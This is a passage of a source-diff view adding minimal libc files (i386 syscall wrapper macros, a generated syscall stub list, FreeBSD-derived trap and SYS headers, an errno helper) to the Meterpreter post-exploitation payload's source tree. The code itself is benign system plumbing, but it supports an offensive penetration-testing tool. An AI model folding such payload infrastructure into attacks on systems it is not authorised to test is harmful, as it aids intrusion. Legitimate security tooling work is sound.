||||
__sfsyscall_return(type,__res); \
|
||||
}
|
||||
|
||||
|
||||
#define _sfoldsyscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
|
||||
type5,arg5,type6,arg6) \
|
||||
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5, type6 arg6) \
|
||||
{ \
|
||||
long __res; \
|
||||
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||
"pushl %7\n\t" \
|
||||
"pushl %6\n\t" \
|
||||
"pushl %5\n\t" \
|
||||
"pushl %4\n\t" \
|
||||
"pushl %3\n\t" \
|
||||
"pushl %2\n\t" \
|
||||
"movl %%esp, %%ebx\n\t" \
|
||||
"int $0x80\n\t" \
|
||||
"add $0x18,%%esp\n\t" \
|
||||
"popl %%ebx" \
|
||||
: "=a" (__res) \
|
||||
: "0" (__NR_##name),"g" ((long)(arg1)),"g" ((long)(arg2)), \
|
||||
"g" ((long)(arg3)),"g" ((long)(arg4)),"g" ((long)(arg5)), \
|
||||
"g" ((long)(arg6))); \
|
||||
__sfsyscall_return(type,__res); \
|
||||
}
|
||||
|
||||
|
||||
#if 0
|
||||
|
||||
#endif
|
||||
|
||||
/****
|
||||
_sfsyscall3(int, read, int, fd, void *, buf, long, count)
|
||||
_sfsyscall3(int, write, int, fd, void *, buf, long, count)
|
||||
_sfsyscall3(int, execve, char *, s, char **, argv, char **,envp)
|
||||
_sfsyscall1(int, close, int, fd)
|
||||
_sfsyscall3(int, open, char *, path, int, mode, int, flags)
|
||||
|
||||
|
||||
|
||||
static inline _sfsyscall2(int, setreuid, int, reuid, int, euid)
|
||||
static inline _sfsyscall1(int, chroot, char *,path)
|
||||
static inline _sfsyscall1(int, dup, int, fd)
|
||||
|
||||
static inline _sfsyscall2(int, dup2, int, ofd, int, nfd)
|
||||
|
||||
static inline _sfsyscall1(int, chdir, char *, path)
|
||||
static inline _sfsyscall3(int, chown, char *, path, int, uid, int, gid)
|
||||
static inline _sfsyscall2(int, chmod, char *, path, int, mode)
|
||||
static inline _sfsyscall0(int, fork)
|
||||
|
||||
static inline _sfsyscall0(int, getuid)
|
||||
static inline _sfsyscall0(int, geteuid)
|
||||
static inline _sfsyscall2(int, socketcall, int, call, unsigned long *,args)
|
||||
static inline _sfsyscall4(int, ioctl, int,d, int,request, char *,argp, int,len)
|
||||
****/
|
||||
|
||||
typedef int pid_t;
|
||||
typedef int ssize_t;
|
||||
typedef int size_t;
|
||||
typedef int off_t;
|
||||
typedef int mode_t;
|
||||
typedef int clock_t;
|
||||
typedef int uid_t;
|
||||
typedef int gid_t;
|
||||
typedef void (*sighandler_t)(int);
|
||||
|
||||
struct dirent {
|
||||
int d_ino;
|
||||
int d_off;
|
||||
unsigned short int d_reclen;
|
||||
char d_name[256];
|
||||
};
|
||||
|
||||
struct tms {
|
||||
clock_t tms_utime; /* user time */
|
||||
clock_t tms_stime; /* system time */
|
||||
clock_t tms_cutime; /* user time of children */
|
||||
clock_t tms_cstime; /* system time of children */
|
||||
};
|
||||
typedef int dev_t;
|
||||
typedef int caddr_t;
|
||||
typedef int sigset_t;
|
||||
typedef int cap_user_header_t;
|
||||
typedef int cap_user_data_t;
|
||||
typedef int time_t;
|
||||
typedef int fd_set;
|
||||
struct vm86plus_struct {};
|
||||
typedef int ptrdiff_t;
|
||||
struct utimbuf {};
|
||||
struct __sysctl_args {};
|
||||
struct timeval {};
|
||||
struct timezone {};
|
||||
struct sysinfo{};
|
||||
struct iovec {};
|
||||
struct statfs {};
|
||||
struct pollfd {};
|
||||
struct kernel_sym {};
|
||||
struct module {};
|
||||
struct utsname {};
|
||||
struct ustat {};
|
||||
struct stat {};
|
||||
struct sched_param {};
|
||||
struct timespec {};
|
||||
|
||||
|
||||
|
||||
_sfsyscall4(long, ptrace, int, request, pid_t, pid, void *,addr, void *,data)
|
||||
static inline _sfsyscall6(void *,mmap2, void *,start, size_t,length, int,prot , int,flags, int,fd, off_t,offset)
|
||||
_sfsyscall3(int, execve, char *, s, char **, argv, char **,envp)
|
||||
_sfsyscall2( int, fstat, int, filedes, struct stat *, buf )
|
||||
|
||||
_sfsyscall2( int, gettimeofday, struct timeval *, tv, struct timezone *, tz )
|
||||
static inline _sfsyscall2(int, socketcall, int, call, unsigned long *,args)
|
||||
static inline _sfsyscall4(int, ioctl, int,d, int,request, char *,argp, int,len)
|
||||
static inline _sfsyscall5( int, _newselect, int, n, fd_set *, readfds, fd_set *, writefds, fd_set *, exceptfds, struct timeval *, timeout)
|
||||
_sfsyscall0( pid_t, getpid )
|
||||
_sfsyscall0( uid_t, getuid )
|
||||
#if 0
|
||||
_sfsyscall1(void, exit, int, status)
|
||||
#endif
|
||||
|
||||
void *
|
||||
mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset)
|
||||
{
|
||||
return mmap2(addr, len, prot, flags, fd, offset);
|
||||
}
|
||||
|
||||
int
|
||||
_ioctl(int d, int request, char *argp, int len)
|
||||
{
|
||||
|
||||
return ioctl(d, request, argp, len);
|
||||
}
|
||||
|
||||
int
|
||||
_write(int d, void *buf, size_t nbytes)
|
||||
{
|
||||
|
||||
return write(d, buf, nbytes);
|
||||
}
|
||||
|
||||
int
|
||||
select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds,
|
||||
struct timeval *timeout)
|
||||
{
|
||||
|
||||
return _newselect(nfds, readfds, writefds, exceptfds, timeout);
|
||||
}
|
||||
|
||||
int
|
||||
__fxstat(int version, int d, struct stat *buf)
|
||||
{
|
||||
|
||||
return fstat(d, buf);
|
||||
}
|
||||
|
||||
|
||||
void _exit(void)
|
||||
{
|
||||
long __res; \
|
||||
__asm__ volatile ("int $0x80" \
|
||||
: "=a" (__res) \
|
||||
: "0" (__NR_exit)); \
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/********
|
||||
*
|
||||
* Generated by
|
||||
*
|
||||
*****
|
||||
awk '/define.*NR/{print substr($2,6)}' include/sfsyscall.h |
|
||||
while read a; do b=/usr/share/man/man2/$a.2.gz;
|
||||
[ -e "$b" ] && zgrep " $a(.*;$" $b; done |
|
||||
perl -pe 's/(.BI?|\\f.|"|;$)/ /g; s/\( *void *\)/( )/; s/ +/ /g; s/(\(| +, +)/, /g; s/( [^ ]+(,| *\)))/,$1/g;'
|
||||
while read a; do
|
||||
echo "static inline _sfsyscall$((`echo "$a" | tr " " x | tr , " " |
|
||||
wc -w`/2-1))( $a"; done
|
||||
*****
|
||||
*
|
||||
* - modified pipe() --> sys_pipe(unsigned long * fildes)
|
||||
* - removed 2 fcntl()
|
||||
* - removed 2 sysfs()
|
||||
* - removed 1 getgroups()
|
||||
* - replaced misinterpreted select()
|
||||
* - remove extra _sysctl()
|
||||
*
|
||||
************/
|
||||
|
||||
|
||||
static inline _sfsyscall0( pid_t, fork )
|
||||
_sfsyscall3( ssize_t, read, int, fd, void *, buf, size_t, count )
|
||||
_sfsyscall3( ssize_t, write, int, fd, const void *, buf, size_t, count )
|
||||
_sfsyscall3( int, open, const char *, pathname, int, flags, mode_t, mode )
|
||||
_sfsyscall1( int, close, int, fd )
|
||||
static inline _sfsyscall3( pid_t, waitpid, pid_t, pid, int *, status, int, options )
|
||||
static inline _sfsyscall2( int, creat, const char *, pathname, mode_t, mode )
|
||||
static inline _sfsyscall2( int, link, const char *, oldpath, const char *, newpath )
|
||||
static inline _sfsyscall1( int, unlink, const char *, pathname )
|
||||
static inline _sfsyscall1( int, chdir, const char *, path )
|
||||
static inline _sfsyscall1( time_t, time, time_t *, t )
|
||||
static inline _sfsyscall3( int, mknod, const char *, pathname, mode_t, mode, dev_t, dev )
|
||||
static inline _sfsyscall2( int, chmod, const char *, path, mode_t, mode )
|
||||
static inline _sfsyscall3( int, lchown, const char *, path, uid_t, owner, gid_t, group )
|
||||
_sfsyscall3( off_t, lseek, int, fildes, off_t, offset, int, whence )
|
||||
static inline _sfsyscall1( int, umount, const char *, dir )
|
||||
static inline _sfsyscall1( int, stime, time_t *, t )
|
||||
static inline _sfsyscall1( unsigned int, alarm, unsigned int, seconds )
|
||||
static inline _sfsyscall0( int, pause )
|
||||
static inline _sfsyscall2( int, utime, const char *, filename, struct utimbuf *, buf )
|
||||
static inline _sfsyscall2( int, access, const char *, pathname, int, mode )
|
||||
static inline _sfsyscall1( int, nice, int, inc )
|
||||
static inline _sfsyscall0( int, sync )
|
||||
static inline _sfsyscall2( int, kill, pid_t, pid, int, sig )
|
||||
static inline _sfsyscall2( int, rename, const char *, oldpath, const char *, newpath )
|
||||
static inline _sfsyscall2( int, mkdir, const char *, pathname, mode_t, mode )
|
||||
static inline _sfsyscall1( int, rmdir, const char *, pathname )
|
||||
static inline _sfsyscall1( int, dup, int, oldfd )
|
||||
static inline _sfsyscall1( int, pipe, unsigned long *, filedes)
|
||||
static inline _sfsyscall1( clock_t, times, struct tms *, buf )
|
||||
static inline _sfsyscall1( int, brk, void *, end_data_segment )
|
||||
static inline _sfsyscall0( gid_t, getgid )
|
||||
static inline _sfsyscall2( sighandler_t, signal, int, signum, sighandler_t, handler )
|
||||
static inline _sfsyscall0( uid_t, geteuid )
|
||||
static inline _sfsyscall0( gid_t, getegid )
|
||||
static inline _sfsyscall1( int, acct, const char *, filename )
|
||||
static inline _sfsyscall3( int, fcntl, int, fd, int, cmd, long, arg )
|
||||
static inline _sfsyscall2( int, setpgid, pid_t, pid, pid_t, pgid )
|
||||
static inline _sfsyscall1( mode_t, umask, mode_t, mask )
|
||||
static inline _sfsyscall1( int, chroot, const char *, path )
|
||||
static inline _sfsyscall2( int, ustat, dev_t, dev, struct ustat *, ubuf )
|
||||
static inline _sfsyscall2( int, dup2, int, oldfd, int, newfd )
|
||||
static inline _sfsyscall0( pid_t, getppid )
|
||||
static inline _sfsyscall0( pid_t, getpgrp )
|
||||
static inline _sfsyscall0( pid_t, setsid )
|
||||
static inline _sfsyscall2( int, setreuid, uid_t, ruid, uid_t, euid )
|
||||
static inline _sfsyscall2( int, setregid, gid_t, rgid, gid_t, egid )
|
||||
static inline _sfsyscall1( int, sigsuspend, const sigset_t *, mask )
|
||||
static inline _sfsyscall1( int, sigpending, sigset_t *, set )
|
||||
static inline _sfsyscall2( int, sethostname, const char *, name, size_t, len )
|
||||
|
||||
static inline _sfsyscall2( int, setgroups, size_t, size, const gid_t *, list )
|
||||
static inline _sfsyscall2( int, symlink, const char *, oldpath, const char *, newpath )
|
||||
static inline _sfsyscall3( int, readlink, const char *, path, char *, buf, size_t, bufsiz )
|
||||
static inline _sfsyscall1( int, uselib, const char *, library )
|
||||
static inline _sfsyscall2( int, swapon, const char *, path, int, swapflags )
|
||||
static inline _sfsyscall3( int, readdir, unsigned int, fd, struct dirent *, dirp, unsigned int, count )
|
||||
_sfsyscall2( int, munmap, void *, start, size_t, length )
|
||||
_sfsyscall3( int, madvise, void *, start, size_t, length, int, behav )
|
||||
static inline _sfsyscall2( int, truncate, const char *, path, off_t, length )
|
||||
static inline _sfsyscall2( int, ftruncate, int, fd, off_t, length )
|
||||
static inline _sfsyscall2( int, fchmod, int, fildes, mode_t, mode )
|
||||
static inline _sfsyscall3( int, fchown, int, fd, uid_t, owner, gid_t, group )
|
||||
static inline _sfsyscall2( int, getpriority, int, which, int, who )
|
||||
static inline _sfsyscall3( int, setpriority, int, which, int, who, int, prio )
|
||||
static inline _sfsyscall2( int, statfs, const char *, path, struct statfs *, buf )
|
||||
static inline _sfsyscall2( int, fstatfs, int, fd, struct statfs *, buf )
|
||||
static inline _sfsyscall3( int, ioperm, unsigned long, from, unsigned long, num, int, turn_on )
|
||||
static inline _sfsyscall3( int, syslog, int, type, char *, bufp, int, len )
|
||||
static inline _sfsyscall2( int, stat, const char *, file_name, struct stat *, buf )
|
||||
static inline _sfsyscall2( int, lstat, const char *, file_name, struct stat *, buf )
|
||||
static inline _sfsyscall1( int, iopl, int, level )
|
||||
static inline _sfsyscall0( int, vhangup )
|
||||
static inline _sfsyscall0( int, idle )
|
||||
static inline _sfsyscall1( int, swapoff, const char *, path )
|
||||
static inline _sfsyscall1( int, sysinfo, struct sysinfo *, info )
|
||||
static inline _sfsyscall1( int, fsync, int, fd )
|
||||
static inline _sfsyscall1( int, sigreturn, unsigned long, __unused )
|
||||
static inline _sfsyscall2( int, setdomainname, const char *, name, size_t, len )
|
||||
static inline _sfsyscall1( int, uname, struct utsname *, buf )
|
||||
_sfsyscall3( int, mprotect, const void *, addr, size_t, len, int, prot )
|
||||
static inline _sfsyscall2( caddr_t, create_module, const char *, name, size_t, size )
|
||||
static inline _sfsyscall2( int, init_module, const char *, name, struct module *, image )
|
||||
static inline _sfsyscall1( int, delete_module, const char *, name )
|
||||
static inline _sfsyscall1( int, get_kernel_syms, struct kernel_sym *, table )
|
||||
static inline _sfsyscall1( pid_t, getpgid, pid_t, pid )
|
||||
//static inline _sfsyscall2( int, sysfs, int, option, const char *, fsname )
|
||||
static inline _sfsyscall3( int, sysfs, int, option, unsigned int, fs_index, char *, buf )
|
||||
//static inline _sfsyscall1( int, sysfs, int, option )
|
||||
static inline _sfsyscall1( int, personality, unsigned long, persona )
|
||||
static inline _sfsyscall1( int, setfsuid, uid_t, fsuid )
|
||||
static inline _sfsyscall1( int, setfsgid, uid_t, fsgid )
|
||||
static inline _sfsyscall3( int, getdents, unsigned int, fd, struct dirent *, dirp, unsigned int, count )
|
||||
static inline _sfsyscall3( int, msync, const void *, start, size_t, length, int, flags )
|
||||
static inline _sfsyscall3( int, readv, int, fd, const struct iovec *, vector, int, count )
|
||||
static inline _sfsyscall3( int, writev, int, fd, const struct iovec *, vector, int, count )
|
||||
static inline _sfsyscall1( pid_t, getsid, pid_t, pid )
|
||||
static inline _sfsyscall1( int, fdatasync, int, fd )
|
||||
static inline _sfsyscall1( int, _sysctl, struct __sysctl_args *, args )
|
||||
_sfsyscall2( int, mlock, const void *, addr, size_t, len )
|
||||
_sfsyscall2( int, munlock, const void *, addr, size_t, len )
|
||||
static inline _sfsyscall1( int, mlockall, int, flags )
|
||||
static inline _sfsyscall0( int, munlockall )
|
||||
static inline _sfsyscall2( int, sched_setparam, pid_t, pid, const struct sched_param *, p )
|
||||
static inline _sfsyscall2( int, sched_getparam, pid_t, pid, struct sched_param *, p )
|
||||
static inline _sfsyscall1( int, sched_getscheduler, pid_t, pid )
|
||||
static inline _sfsyscall0( int, sched_yield )
|
||||
static inline _sfsyscall1( int, sched_get_priority_max, int, policy )
|
||||
static inline _sfsyscall1( int, sched_get_priority_min, int, policy )
|
||||
static inline _sfsyscall2( int, sched_rr_get_interval, pid_t, pid, struct timespec *, tp )
|
||||
static inline _sfsyscall2( int, nanosleep, const struct timespec *, req, struct timespec *, rem )
|
||||
static inline _sfsyscall3( int, setresuid, uid_t, ruid, uid_t, euid, uid_t, suid )
|
||||
static inline _sfsyscall3( int, getresuid, uid_t *, ruid, uid_t *, euid, uid_t *, suid )
|
||||
static inline _sfsyscall2( int, vm86, unsigned long, fn, struct vm86plus_struct *, v86 )
|
||||
_sfsyscall3( int, poll, struct pollfd *, ufds, unsigned int, nfds, int, timeout )
|
||||
static inline _sfsyscall3( ptrdiff_t, prctl, int, option, int, arg2, int, arg3 )
|
||||
static inline _sfsyscall4( ssize_t, pread64, int, fd, void *, buf, size_t, count, off_t, offset )
|
||||
static inline _sfsyscall3( int, chown, const char *, path, uid_t, owner, gid_t, group )
|
||||
static inline _sfsyscall2( int, capget, cap_user_header_t, header, cap_user_data_t, data )
|
||||
static inline _sfsyscall2( int, capset, cap_user_header_t, header, const cap_user_data_t, data )
|
||||
static inline _sfsyscall0( pid_t, vfork )
|
||||
|
||||
|
93
c/meterpreter/source/ulibc/arch/Linux/i686/trap.h
Normal file
93
c/meterpreter/source/ulibc/arch/Linux/i686/trap.h
Normal file
@ -0,0 +1,93 @@
|
||||
/*-
|
||||
* Copyright (c) 1990 The Regents of the University of California.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* William Jolitz.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* from: @(#)trap.h 5.4 (Berkeley) 5/9/91
|
||||
* $FreeBSD: head/sys/i386/include/trap.h 184039 2008-10-19 01:23:30Z kmacy $
|
||||
*/
|
||||
|
||||
#ifndef _MACHINE_TRAP_H_
|
||||
#define _MACHINE_TRAP_H_
|
||||
|
||||
/*
|
||||
* Trap type values
|
||||
* also known in trap.c for name strings
|
||||
*/
|
||||
|
||||
#define T_PRIVINFLT 1 /* privileged instruction */
|
||||
#define T_BPTFLT 3 /* breakpoint instruction */
|
||||
#define T_ARITHTRAP 6 /* arithmetic trap */
|
||||
#define T_PROTFLT 9 /* protection fault */
|
||||
#define T_TRCTRAP 10 /* debug exception (sic) */
|
||||
#define T_PAGEFLT 12 /* page fault */
|
||||
#define T_ALIGNFLT 14 /* alignment fault */
|
||||
|
||||
#define T_DIVIDE 18 /* integer divide fault */
|
||||
#define T_NMI 19 /* non-maskable trap */
|
||||
#define T_OFLOW 20 /* overflow trap */
|
||||
#define T_BOUND 21 /* bound instruction fault */
|
||||
#define T_DNA 22 /* device not available fault */
|
||||
#define T_DOUBLEFLT 23 /* double fault */
|
||||
#define T_FPOPFLT 24 /* fp coprocessor operand fetch fault */
|
||||
#define T_TSSFLT 25 /* invalid tss fault */
|
||||
#define T_SEGNPFLT 26 /* segment not present fault */
|
||||
#define T_STKFLT 27 /* stack fault */
|
||||
#define T_MCHK 28 /* machine check trap */
|
||||
#define T_XMMFLT 29 /* SIMD floating-point exception */
|
||||
#define T_RESERVED 30 /* reserved (unknown) */
|
||||
|
||||
/* XXX most of the following codes aren't used, but could be. */
|
||||
|
||||
/* definitions for <sys/signal.h> */
|
||||
#define ILL_RESAD_FAULT T_RESADFLT
|
||||
#define ILL_PRIVIN_FAULT T_PRIVINFLT
|
||||
#define ILL_RESOP_FAULT T_RESOPFLT
|
||||
#define ILL_ALIGN_FAULT T_ALIGNFLT
|
||||
#define ILL_FPOP_FAULT T_FPOPFLT /* coprocessor operand fault */
|
||||
|
||||
/* old FreeBSD macros, deprecated */
|
||||
#define FPE_INTOVF_TRAP 0x1 /* integer overflow */
|
||||
#define FPE_INTDIV_TRAP 0x2 /* integer divide by zero */
|
||||
#define FPE_FLTDIV_TRAP 0x3 /* floating/decimal divide by zero */
|
||||
#define FPE_FLTOVF_TRAP 0x4 /* floating overflow */
|
||||
#define FPE_FLTUND_TRAP 0x5 /* floating underflow */
|
||||
#define FPE_FPU_NP_TRAP 0x6 /* floating point unit not present */
|
||||
#define FPE_SUBRNG_TRAP 0x7 /* subrange out of bounds */
|
||||
|
||||
/* codes for SIGBUS */
|
||||
#define BUS_PAGE_FAULT T_PAGEFLT /* page fault protection base */
|
||||
#define BUS_SEGNP_FAULT T_SEGNPFLT /* segment not present */
|
||||
#define BUS_STK_FAULT T_STKFLT /* stack segment */
|
||||
#define BUS_SEGM_FAULT T_RESERVED /* segment protection base */
|
||||
|
||||
/* Trap's coming from user mode */
|
||||
#define T_USER 0x100
|
||||
|
||||
#endif /* !_MACHINE_TRAP_H_ */
|
73
c/meterpreter/source/ulibc/arch/bsd/amd64/SYS.h
Normal file
73
c/meterpreter/source/ulibc/arch/bsd/amd64/SYS.h
Normal file
@ -0,0 +1,73 @@
|
||||
/*-
|
||||
* Copyright (c) 1990 The Regents of the University of California.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* William Jolitz.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)SYS.h 5.5 (Berkeley) 5/7/91
|
||||
* $FreeBSD: head/lib/libc/amd64/SYS.h 184547 2008-11-02 01:10:54Z peter $
|
||||
*/
|
||||
|
||||
#include <sys/syscall.h>
|
||||
#include <machine/asm.h>
|
||||
|
||||
#ifdef PIC
|
||||
#define RSYSCALL(x) ENTRY(__CONCAT(__sys_,x)); \
|
||||
.weak CNAME(x); \
|
||||
.set CNAME(x),CNAME(__CONCAT(__sys_,x)); \
|
||||
.weak CNAME(__CONCAT(_,x)); \
|
||||
.set CNAME(__CONCAT(_,x)),CNAME(__CONCAT(__sys_,x)); \
|
||||
mov __CONCAT($SYS_,x),%rax; KERNCALL; jb 2f; ret; \
|
||||
2: movq PIC_GOT(HIDENAME(cerror)),%rcx; jmp *%rcx; \
|
||||
END(__CONCAT(__sys_,x))
|
||||
|
||||
#define PSEUDO(x) ENTRY(__CONCAT(__sys_,x)); \
|
||||
.weak CNAME(__CONCAT(_,x)); \
|
||||
.set CNAME(__CONCAT(_,x)),CNAME(__CONCAT(__sys_,x)); \
|
||||
mov __CONCAT($SYS_,x),%rax; KERNCALL; jb 2f; ret ; \
|
||||
2: movq PIC_GOT(HIDENAME(cerror)),%rcx; jmp *%rcx; \
|
||||
END(__CONCAT(__sys_,x))
|
||||
#else
|
||||
#define RSYSCALL(x) ENTRY(__CONCAT(__sys_,x)); \
|
||||
.weak CNAME(x); \
|
||||
.set CNAME(x),CNAME(__CONCAT(__sys_,x)); \
|
||||
.weak CNAME(__CONCAT(_,x)); \
|
||||
.set CNAME(__CONCAT(_,x)),CNAME(__CONCAT(__sys_,x)); \
|
||||
mov __CONCAT($SYS_,x),%rax; KERNCALL; jb 2f; ret; \
|
||||
2: jmp HIDENAME(cerror); \
|
||||
END(__CONCAT(__sys_,x))
|
||||
|
||||
#define PSEUDO(x) ENTRY(__CONCAT(__sys_,x)); \
|
||||
.weak CNAME(__CONCAT(_,x)); \
|
||||
.set CNAME(__CONCAT(_,x)),CNAME(__CONCAT(__sys_,x)); \
|
||||
mov __CONCAT($SYS_,x),%rax; KERNCALL; jb 2f; ret; \
|
||||
2: jmp HIDENAME(cerror); \
|
||||
END(__CONCAT(__sys_,x))
|
||||
#endif
|
||||
|
||||
#define KERNCALL movq %rcx, %r10; syscall
|
19
c/meterpreter/source/ulibc/arch/bsd/amd64/arith.h
Normal file
19
c/meterpreter/source/ulibc/arch/bsd/amd64/arith.h
Normal file
@ -0,0 +1,19 @@
|
||||
/*
|
||||
* MD header for contrib/gdtoa
|
||||
*
|
||||
* $FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/amd64/arith.h 114839 2003-05-08 13:50:44Z das $
|
||||
*/
|
||||
|
||||
/*
|
||||
* NOTE: The definitions in this file must be correct or strtod(3) and
|
||||
* floating point formats in printf(3) will break! The file can be
|
||||
* generated by running contrib/gdtoa/arithchk.c on the target
|
||||
* architecture. See contrib/gdtoa/gdtoaimp.h for details.
|
||||
*/
|
||||
|
||||
#define IEEE_8087
|
||||
#define Arith_Kind_ASL 1
|
||||
#define Long int
|
||||
#define Intcast (int)(long)
|
||||
#define Double_Align
|
||||
#define X64_bit_pointers
|
20
c/meterpreter/source/ulibc/arch/bsd/amd64/cerror.S
Normal file
20
c/meterpreter/source/ulibc/arch/bsd/amd64/cerror.S
Normal file
@ -0,0 +1,20 @@
|
||||
#include "SYS.h"
|
||||
|
||||
.globl HIDENAME(cerror)
|
||||
|
||||
/*
|
||||
* The __error() function is thread aware. For non-threaded
|
||||
* programs and the initial threaded in threaded programs,
|
||||
* it returns a pointer to the global errno variable.
|
||||
*/
|
||||
.globl CNAME(__error)
|
||||
.type CNAME(__error),@function
|
||||
HIDENAME(cerror):
|
||||
pushq %rax
|
||||
call PIC_PLT(CNAME(__error))
|
||||
popq %rcx
|
||||
movl %ecx,(%rax)
|
||||
movq $-1,%rax
|
||||
movq $-1,%rdx
|
||||
ret
|
||||
|
59
c/meterpreter/source/ulibc/arch/bsd/i386/SYS.h
Normal file
59
c/meterpreter/source/ulibc/arch/bsd/i386/SYS.h
Normal file
@ -0,0 +1,59 @@
|
||||
/*-
|
||||
* Copyright (c) 1990 The Regents of the University of California.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* William Jolitz.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)SYS.h 5.5 (Berkeley) 5/7/91
|
||||
* $FreeBSD: head/lib/libc/i386/SYS.h 184548 2008-11-02 01:28:47Z peter $
|
||||
*/
|
||||
|
||||
#include <sys/syscall.h>
|
||||
#include <machine/asm.h>
|
||||
|
||||
#define SYSCALL(x) 2: PIC_PROLOGUE; jmp PIC_PLT(HIDENAME(cerror)); \
|
||||
ENTRY(__CONCAT(__sys_,x)); \
|
||||
.weak CNAME(x); \
|
||||
.set CNAME(x),CNAME(__CONCAT(__sys_,x)); \
|
||||
.weak CNAME(__CONCAT(_,x)); \
|
||||
.set CNAME(__CONCAT(_,x)),CNAME(__CONCAT(__sys_,x)); \
|
||||
mov __CONCAT($SYS_,x),%eax; KERNCALL; jb 2b
|
||||
|
||||
#define RSYSCALL(x) SYSCALL(x); ret; END(__CONCAT(__sys_,x))
|
||||
|
